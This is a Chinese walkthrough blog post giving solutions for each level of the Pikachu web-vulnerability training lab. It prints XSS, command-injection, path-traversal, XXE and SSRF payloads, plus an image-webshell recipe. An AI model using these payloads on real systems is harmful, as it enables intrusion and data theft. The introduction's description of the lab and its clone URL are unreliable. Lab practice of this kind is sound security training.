pikachu[皮卡丘] 靶场全级别通关教程答案 以及 学习方法 如何通过渗透测试靶场挑战「pikachu」来精通Web渗透技巧? 一篇文章搞完这些问题

news2025/2/11 9:54:12

目录

Pikachu靶场

部署

暴力破解漏洞

学习地址:

靶场练习:

基于表单的暴力破解

验证码绕过(on server)

验证码绕过(on Client)

token防爆破?

XSS跨站脚本攻击

学习地址:

靶场练习:

反射型xss(get)

反射性xss(post)

存储型xss

DOM型xss

xss盲打

xss之过滤

xss之htmlspecialchars

xss之href输出

xss之js输出

CSRF 跨站脚本伪造攻击

学习地址:

靶场练习:

CSRF(get) login

CSRF(post)

CSRF Token

SQL注入漏洞

直接参考这SQL注入漏洞文章:

REC命令注入漏洞

学习地址:

靶场练习:

ping || net user

exec "eval"

文件包含漏洞

学习地址:

靶场练习:

本地文件包含

远程文件包含

文件下载漏洞

学习地址:

靶场练习:

不安全的文件下载

文件上传漏洞

学习地址:

靶场学习:

客户端check(检查)

服务端check

getimagesize() 

越权漏洞

学习地址:

靶场学习:

op1 member(水平越权)

op2 login(垂直越权)

目录穿越漏洞

学习地址:

靶场学习:

../../

敏感目录泄露漏洞

学习地址:

靶场学习:

find abc

反序列化漏洞

学习地址:

靶场学习:

PHP反序列化PHP反序列化

XEE漏洞(外部实现注入)

学习地址:

靶场学习:

xxe漏洞

SSRF 服务器伪造攻击

学习地址:

靶场学习:

不安全的URL跳转

SSRF(curl)

SSRF(file_get_content)


Pikachu靶场

Pikachu靶场(Pikachu CTF)是一个用于安全学习和渗透测试训练的在线靶场。它通常由网络安全爱好者和专业人员用来提高自己的安全技术,包括但不限于漏洞分析、逆向工程、Web安全、加密解密等方面。

Pikachu靶场的特点

  1. 多样的挑战:靶场通常包括一系列的安全挑战,涵盖不同的安全领域,适合初学者和高级渗透测试人员。
  2. 互动性:用户可以在线提交解题方案,并在挑战过程中获得实时反馈。
  3. 开源:一些版本的Pikachu靶场是开源的,用户可以自行部署,进行自定义配置。
  4. 学习社区:Pikachu靶场通常有一个学习社区,参与者可以分享经验、解题技巧,甚至挑战自己设计的问题。

下载和访问

  • Pikachu靶场的下载链接和访问方式可能会随时间有所变动,因此我建议你搜索它的最新版本或官方信息。
  • 你可以在GitHub或类似平台上搜索Pikachu CTF,查看是否有相关的开源项目。
git clone https://github.com/Pikachu-CTF/Pikachu.git
cd Pikachu

例如,你可以在GitHub上搜索 "Pikachu CTF" 或直接访问一些在线CTF平台,如 CTFtimeHack The Box,这些平台经常提供相关的靶场和挑战内容。


部署

  • 网上一大堆 这个自己百度 google即可


暴力破解漏洞

学习地址:

渗透测试暴力破解之 【多次搞搞你】 大家对这个技术都熟悉都喜欢玩这个,这篇文章就教会你如何玩暴力破解哦!_渗透测试双因子-CSDN博客

Web渗透测试之暴力破解高阶手法 表单破解 限制绕过-CSDN博客

靶场练习:

基于表单的暴力破解

  • 使用BP发送到攻击器 进行表单暴力破解

  • 查看字段长度判断暴力破解的成功

验证码绕过(on server)

  • 抓包服务端验证可能会存在时间限制
  • 所以可以在这段时间暴力破解
  • 验证码在后台不过期

  • 破解成功 服务端验证码校验


验证码绕过(on Client)


token防爆破?

  • 这个查看这篇文章 中的【暴力破解之token值】有讲这种手法如何破解

Web渗透测试之暴力破解高阶手法 表单破解 限制绕过-CSDN博客文章浏览阅读1.1w次,点赞9次,收藏29次。破解mysql:简单来说就是将密码进行逐个推算直到找出真正的密码为止暴力破解分类:暴力破解需要考虑的问题:持续不断发送尝试登录的请求用户名 字典。密码字典。基于不同的响应信息来判断是否正确。任何的暴力破解都是要基于用户名密码字典的强大与否 任何一天都能破解成功。暴力破解分BS 和 CS。字典大家也可以去网上找还可能找到各种web服务器应用程序的账号密码字典github等等一些地方。判断是否有复杂密码随便找到一个网站,https://blog.csdn.net/zhzx123aa/article/details/145061493https://blog.csdn.net/zhzx123aa/article/details/145061493https://blog.csdn.net/zhzx123aa/article/details/145061493https://blog.csdn.net/zhzx123aa/article/details/145061493https://blog.csdn.net/zhzx123aa/article/details/145061493https://blog.csdn.net/zhzx123aa/article/details/145061493https://blog.csdn.net/zhzx123aa/article/details/145061493


XSS跨站脚本攻击

学习地址:

XSS-Web渗透测试 最全面的XSS跨站脚本注入知识点给你说说的明明白白 多篇文章持续更新-CSDN博客

靶场练习:


反射型xss(get)

删除字符限制

输入: <ScRipT>alert('XSS')</ScRiPt>


反射性xss(post)

抓包:

  • admin
  • 123456

  • 提交xss:
  • <script>alert('xss')</script>

退出再登陆


存储型xss

  • 输入xss:
  • <script>alert('xss')</script>


DOM型xss

输入xss:

' onclick=alert('xss')>

闭合语句:

<a href='' onclick=alert(‘xss’)>'>what do you see?</a>


xss盲打

盲打一般都是打后台 

提交以后无反应 进入后台查看

http://ip/pikachu/vul/xss/xssblind/admin_login.php

登陆到后台查看 就跑出来了XSS 这也就是盲打


xss之过滤

也就是waf绕过的相关方式方法

<a href="" onclick="alert('xss')">


xss之htmlspecialchars

实体编码绕过参考这篇文章:Web渗透测试之XSS跨站脚本攻击 一篇文章实体编码以及伪协议Javascript给你说明白-CSDN博客

' onclick='alert("xss")


xss之href输出

伪协议

javascript:alert(1)


xss之js输出

</script><script>alert('xss')</script>


CSRF 跨站脚本伪造攻击

学习地址:

渗透测试之什么叫 CSRF【跨站脚本伪造】攻击手法OR防御手简单教会你玩玩 钓鱼手法呀-CSDN博客

靶场练习:

CSRF(get) login

随便登陆一个用户 

生成poc

  • 生成poc点击后 在含有cookie的浏览器登陆 这样受害者数据就被修改了
  • 这样就是跨站脚本伪造了


CSRF(post)

  • 和get方式方法一样 只是请求的方法不一样


CSRF Token

  • 暴力破解中使用的token原理
  •  这个查看这篇文章 中的【暴力破解之token值】有讲这种手法如何破解
  • Web渗透测试之暴力破解高阶手法 表单破解 限制绕过-CSDN博客文章浏览阅读1.1w次,点赞9次,收藏29次。破解mysql:简单来说就是将密码进行逐个推算直到找出真正的密码为止暴力破解分类:暴力破解需要考虑的问题:持续不断发送尝试登录的请求用户名 字典。密码字典。基于不同的响应信息来判断是否正确。任何的暴力破解都是要基于用户名密码字典的强大与否 任何一天都能破解成功。暴力破解分BS 和 CS。字典大家也可以去网上找还可能找到各种web服务器应用程序的账号密码字典github等等一些地方。判断是否有复杂密码随便找到一个网站,https://blog.csdn.net/zhzx123aa/article/details/145061493?sharetype=blogdetail&sharerId=145061493&sharerefer=PC&sharesource=zhzx123aa&spm=1011.2480.3001.8118https://blog.csdn.net/zhzx123aa/article/details/145061493?sharetype=blogdetail&sharerId=145061493&sharerefer=PC&sharesource=zhzx123aa&spm=1011.2480.3001.8118https://blog.csdn.net/zhzx123aa/article/details/145061493?sharetype=blogdetail&sharerId=145061493&sharerefer=PC&sharesource=zhzx123aa&spm=1011.2480.3001.8118https://blog.csdn.net/zhzx123aa/article/details/145061493?sharetype=blogdetail&sharerId=145061493&sharerefer=PC&sharesource=zhzx123aa&spm=1011.2480.3001.8118https://blog.csdn.net/zhzx123aa/article/details/145061493?sharetype=blogdetail&sharerId=145061493&sharerefer=PC&sharesource=zhzx123aa&spm=1011.2480.3001.8118https://blog.csdn.net/zhzx123aa/article/details/145061493?sharetype=blogdetail&sharerId=145061493&sharerefer=PC&sharesource=zhzx123aa&spm=1011.2480.3001.8118https://blog.csdn.net/zhzx123aa/article/details/145061493?sharetype=blogdetail&sharerId=145061493&sharerefer=PC&sharesource=zhzx123aa&spm=1011.2480.3001.8118https://blog.csdn.net/zhzx123aa/article/details/145061493?sharetype=blogdetail&sharerId=145061493&sharerefer=PC&sharesource=zhzx123aa&spm=1011.2480.3001.8118

SQL注入漏洞

直接参考这SQL注入漏洞文章:

https://blog.csdn.net/zhzx123aa/category_12686945.html?spm=1001.2014.3001.5482https://blog.csdn.net/zhzx123aa/category_12686945.html?spm=1001.2014.3001.5482https://blog.csdn.net/zhzx123aa/category_12686945.html?spm=1001.2014.3001.5482https://blog.csdn.net/zhzx123aa/category_12686945.html?spm=1001.2014.3001.5482https://blog.csdn.net/zhzx123aa/category_12686945.html?spm=1001.2014.3001.5482https://blog.csdn.net/zhzx123aa/category_12686945.html?spm=1001.2014.3001.5482https://blog.csdn.net/zhzx123aa/category_12686945.html?spm=1001.2014.3001.5482https://blog.csdn.net/zhzx123aa/category_12686945.html?spm=1001.2014.3001.5482

  • 这篇文章融合了sql注入的所有知识点
  • 其中每个sql注入知识点的案例都是用的pikachu中sql注入靶场案例 直接参看就可以了

REC命令注入漏洞

学习地址:

渗透测试之远程命令执行漏洞示例 RCE-CSDN博客

靶场练习:

ping || net user

ping || net user


exec "eval"

phpinfo();


文件包含漏洞

学习地址:

渗透测试之文件包含漏洞 超详细的文件包含漏洞文章-CSDN博客

靶场练习:

本地文件包含

  • 命令:

http://192.168.1.6/pikachu/vul/fileinclude/fi_local.php?filename=file2.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

  • 读取本地文件
?filename=C:/../../../../Windows\win.ini&submit=提交查询


远程文件包含

http://192.168.1.6/pikachu/vul/fileinclude/fi_remote.php?filename=http://www.baidu.com&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

  • 比如说我们本地搭建了一个程序 编写了一个webshell,然后通过远程文件包含漏洞访问本地搭建的服务中的webshell文件,实现对肉鸡的控制。

文件下载漏洞

学习地址:

渗透测试之 文件读取漏洞结合目录穿越漏洞[---]搞定文件下载漏洞 获取敏感文件进入后渗透的模式-CSDN博客

靶场练习:


不安全的文件下载

  • 点击文件名称 抓包

  1. GET /pikachu/vul/unsafedownload/execdownload.php?filename=pj.png HTTP/1.1
  2. 通过文件包含漏洞路径创越下载
  3. 这个是通过web目录扫描 找到项目结构 找到文件,然后通过文件下载漏洞 下载对应文件。 
execdownload.php?filename=../../../index.php


文件上传漏洞

学习地址:

渗透测试之 任意文件上传漏洞 以及 绕过方式 详解_文件上传漏洞图片绕过-CSDN博客

靶场学习:

客户端check(检查)


服务端check

  • 抓包
  • 修改Content-Type: text/html 这个牵扯到 Mime 类型看一下上面的文章


getimagesize() 

  • getimagesize() 是php的一个函数

  • 其余的语言也有类似的函数 检测图片是不是一张真的图片

  • 为什么要做这样的检测?道理很简单

  • 因为图片不是一张真的图片就可以存在图片马【图片中含有一句话木马】

生成图片马

copy copy /b 图片.jpg + 木马.php 合成的文件名.jpg

  • 上传图片马加上文件包含漏洞读取这样的漏洞


越权漏洞

学习地址:

渗透测试之越权漏洞详解 水平越权 垂直越权 目录越权 SQL跨库查询越权 以及未授权漏洞 一篇文章说明白-CSDN博客

靶场学习:

op1 member(水平越权)

看一下url路径 含有用户名称 修改这个用户名称

http://192.168.1.6/pikachu/vul/overpermission/op1/op1_mem.php?username=lucy&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF


op2 login(垂直越权)

准备普通用户

准备超级管理用户添加用户

把普通用户的userID 转到 管理员的UserID 如果成功则普通用户可以操作管理员的行为


目录穿越漏洞

学习地址:

渗透测试之 文件读取漏洞结合目录穿越漏洞[---]搞定文件下载漏洞 获取敏感文件进入后渗透的模式-CSDN博客

靶场学习:

../../

url地址

http://192.168.1.6/pikachu/vul/dir/dir_list.php?title=jarheads.php

目录创越读取文件

?title=C:../../../../../../windows\win.ini

http://192.168.1.6/pikachu/vul/dir/dir_list.php?title=C:../../../../../../windows\win.ini


敏感目录泄露漏洞

学习地址:

靶场学习:

find abc

查看页面源码


反序列化漏洞

学习地址:

靶场学习:

PHP反序列化PHP反序列化

<?php
class S{
	var $test="<script>alert(document.cookie)</script>";
}
 
$a=new S();
echo serialize($a)
?>


XEE漏洞(外部实现注入)

学习地址:

渗透测试之XEE[外部实体注入]漏洞 原理 攻击手法 xml语言结构 防御手法-CSDN博客

靶场学习:

xxe漏洞

payload

<?xml version="1.0"?>
<!DOCTYPE ANY [
     <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]>
<a>&xxe;</a>


SSRF 服务器伪造攻击

学习地址:

渗透测试之SSRF漏洞原理 危害 产生的原因 探测手法 防御手法 绕过手法 限制的手段_ssrf 绕过ftp限制-CSDN博客

靶场学习:

不安全的URL跳转

?url=http://www.baidu.com

成功跳转到百度页面


SSRF(curl)

http://192.168.1.6/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info1.php

读取文件 ssrf伪造攻击


SSRF(file_get_content)

 这里的利用方式与上一关相同,不同一点是这里可以使用php的伪协议了

比如,可以使用php://filter读取文件

?file=PHP://filter/read=convert.base64-encode/resource=c:../../../windows/win.ini


喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2295412.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

汽车零部件工厂如何借助安灯呼叫按钮盒提升生产响应速度

在现代汽车零部件工厂的生产环境中&#xff0c;高效的信息传递和快速的响应速度是确保生产顺畅运行的关键。然而&#xff0c;传统的口头呼喊或现场沟通方式往往存在信息传递慢、现场嘈杂、责任人难以及时找到等问题&#xff0c;尤其在设备故障或缺料时&#xff0c;这些问题会导…

Idea 2024.3 使用CodeGPT插件整合Deepseek

哈喽&#xff0c;大家好&#xff0c;我是浮云&#xff0c;最近国产大模型Deepseek异常火爆&#xff0c;作为程序员我也试着玩了一下&#xff0c;首先作为简单的使用&#xff0c;大家进入官网&#xff0c;点击开始对话即可进行简单的聊天使用&#xff0c;点击获取手机app即可安装…

「vue3-element-admin」告别 vite-plugin-svg-icons!用 @unocss/preset-icons 加载本地 SVG 图标

&#x1f680; 作者主页&#xff1a; 有来技术 &#x1f525; 开源项目&#xff1a; youlai-mall ︱vue3-element-admin︱youlai-boot︱vue-uniapp-template &#x1f33a; 仓库主页&#xff1a; GitCode︱ Gitee ︱ Github &#x1f496; 欢迎点赞 &#x1f44d; 收藏 ⭐评论 …

docker /var/lib/docker/overlay2目录把磁盘空间占满问题

1、查看服务器磁盘空间 df -h果然100%了,docker系统文件把磁盘空间占满了。 2、进入overlay2目录&#xff0c;查找那个容器工作目录占用最高 cd /var/lib/docker/overlay2du -h --max-depth1详见下图 好家伙占用110G&#xff01;复制目录名称2c3c48ccac533c5d4a366d45a19bb9…

Redis深入学习

目录 Redis是什么&#xff1f; Redis使用场景 Redis线程模型 Redis执行命令是单线程的为什么还这么快&#xff1f; Redis持久化 Redis 事务 Key 过期策略 Redis 和 mysql 如何保证数据一致&#xff1f; 缓存穿透 缓存击穿 缓存雪崩 Redis是什么&#xff1f; redis是一…

EasyExcel 导出合并层级单元格

EasyExcel 导出合并层级单元格 一、案例 案例一 1.相同订单号单元格进行合并 合并结果 案例二 1.相同订单号的单元格进行合并2.相同订单号的总数和总金额进行合并 合并结果 案例三 1.相同订单号的单元格进行合并2.相同订单号的商品分类进行合并3.相同订单号的总数和总金额…

青少年编程与数学 02-009 Django 5 Web 编程 01课题、概要

青少年编程与数学 02-009 Django 5 Web 编程 01课题、概要 一、Django 5Django 5 的主要特性包括&#xff1a; 二、MVT模式三、官方网站四、内置功能数据库 ORM&#xff08;对象关系映射&#xff09;用户认证和授权表单处理模板引擎URL 路由缓存框架国际化和本地化安全性功能管…

2.7学习

crypto buu-还原大师 仔细阅读题目&#xff0c;这里有一段字符串&#xff0c;但是其中有四个大写字母被替换成了‘&#xff1f;’&#xff0c;那么我们写脚本&#xff1a;首先将四个问号均换成26个大写字母并且组成不同的组合&#xff0c; 所以有四个循环让四个问号都遍历26个…

oracle ORA-27054报错处理

现象 在oracle执行expdp&#xff0c;rman备份&#xff0c;xtts的时候,由于没有足够的本地空间&#xff0c;只能使用到NFS的文件系统但有时候会出现如下报错 ORA-27054: NFS file system where the file is created or resides is not mounted with correct options根据提示信…

使用LLaMA Factory踩坑记录

前置条件&#xff1a;电脑显卡RTX 4080 问题&#xff1a;LLaMA-Factory在运行的时候&#xff0c;弹出未检测到CUDA的报错信息 结论&#xff1a;出现了以上的报错&#xff0c;主要可以归结于以下两个方面&#xff1a; 1、没有安装GPU版本的pytorch&#xff0c;下载的是CPU版本…

电路研究9.3——合宙Air780EP中的AT开发指南(含TCP 示例)

根据合宙的AT研发推荐&#xff0c; AT指令基本上也简单看完了&#xff0c;这里开始转到AT的开发了。 AT 命令采用标准串口进行数据收发&#xff0c;将以前复杂的设备通讯方式转换成简单的串口编程&#xff0c; 大大简化了产品的硬件设计和软件开发成本&#xff0c;这使得几乎所…

Reqable使用实践

一、背景 日常开发中&#xff0c;难免要抓取请求数据&#xff0c;查看接口数据&#xff0c;从而更好定位问题&#xff0c;基于这个原因&#xff0c;查找了一些抓包工具&#xff0c;例如&#xff1a; HttpCanary、 Steam 、Fiddler等&#xff0c;不是要钱&#xff0c;就是只对苹…

【蓝桥杯嵌入式】2_LED

全部代码网盘自取 链接&#xff1a;https://pan.baidu.com/s/1PX2NCQxnADxYBQx5CsOgPA?pwd3ii2 提取码&#xff1a;3ii2 1、电路图 74HC573是八位锁存器&#xff0c;当控制端LE脚为高电平时&#xff0c;芯片“导通”&#xff0c;LE为低电平时芯片“截止”即将输出状态“锁存”…

B树详解及其C语言实现

目录 一、B树的基本原理 二、B树操作过程图形化演示 三、B树的应用场景 四、C语言实现B树及示例 五、代码执行结果说明 六、应用实例&#xff1a;文件系统目录索引 七、总结 一、B树的基本原理 B树&#xff08;B-Tree&#xff09; 是一种自平衡的树数据结构&#xff0c;…

ARM64 Linux 内核学习指南:从基础到实践

前言 ARM64 作为当今主流的处理器架构&#xff0c;被广泛应用于移动设备、嵌入式系统和服务器领域。学习 ARM64 在 Linux 内核中的实现&#xff0c;不仅有助于深入理解操作系统底层机制&#xff0c;还能提升在内核开发、驱动编写、虚拟化等领域的专业能力。 本指南面向对 Lin…

零基础都可以本地部署Deepseek R1

文章目录 一、硬件配置需求二、详细部署步骤1. 安装 Ollama 工具2. 部署 DeepSeek-R1 模型3. API使用4. 配置图形化交互界面&#xff08;可选&#xff09;5. 使用与注意事项 一、硬件配置需求 不同版本的 DeepSeek-R1 模型参数量不同&#xff0c;对硬件资源的要求也不尽相同。…

掌握Spring @SessionAttribute:跨请求数据共享的艺术

SessionAttribute注解在Spring中的作用&#xff0c;就像是一个“数据中转站”。 在Web应用中&#xff0c;我们经常需要在多个请求之间共享数据。比如&#xff0c;用户登录后&#xff0c;我们需要在多个页面或请求中保持用户的登录状态。这时&#xff0c;SessionAttribute注解就…

视频采集卡接口

采集卡的正面有MIC IN、LINE IN以及AUDIO OUT三个接口&#xff0c; MIC IN为麦克风输入&#xff0c;我们如果要给采集到的视频实时配音或者是在直播的时候进行讲解&#xff0c;就可以在这里插入一个麦克风&#xff0c; LINE IN为音频线路输入&#xff0c;可以外接播放背景音乐…

64【32与64位程序的区别】

很多人可能有一个观念&#xff0c;那就是64位的程序NB&#xff0c;有技术含量&#xff0c;但是要说nb在哪&#xff0c;很多人又说不上来&#xff0c;本节来对这个问题做一个探讨 下图中左边的是加载的64程序&#xff0c;右边的是32位程序&#xff0c; 在上一节课我们已经理解…

ai智能DeepSeek 在 Cursor 中的配置与应用实践

DeepSeek 是一款高效的深度搜索引擎&#xff0c;能够为开发者提供更智能、更精准的搜索体验。在数据量大、查询复杂的场景中&#xff0c;DeepSeek 能够帮助提升查询的响应速度和精确度。本文将介绍 DeepSeek 在 Cursor 中的配置与应用&#xff0c;帮助开发者理解如何在实际开发…